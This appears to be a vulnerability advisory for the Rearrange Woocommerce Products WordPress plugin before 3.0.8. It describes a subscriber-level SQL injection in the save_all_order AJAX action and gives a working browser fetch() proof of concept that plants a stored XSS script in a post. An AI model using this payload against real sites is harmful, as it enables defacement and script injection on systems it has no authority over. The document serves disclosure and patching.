WordPress Plugin Vulnerabilities

Rearrange Woocommerce Products < 3.0.8 - Subscriber+ SQL Injection

Description

The plugin does not have proper access controls in the save_all_order AJAX action, nor validation and escaping when inserting user data in SQL statement, leading to an SQL injection, and allowing any authenticated user, such as subscriber, to modify arbitrary post content (for example with an XSS payload), as well as exfiltrate any data by copying it to another post.

SQLi was fixed in 3.0.5, proper authorisation and CSRF checks were added in 3.0.8

Proof of Concept

As a subscriber, run the below command in the web developer console of the browser

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"save_all_order","sort_orders[1]":"' THEN 1 END), post_content=FROM_BASE64('PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=') where id=811 -- g"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

This will put an XSS payload (<script>alert(1);</script>) in the post with the ID 811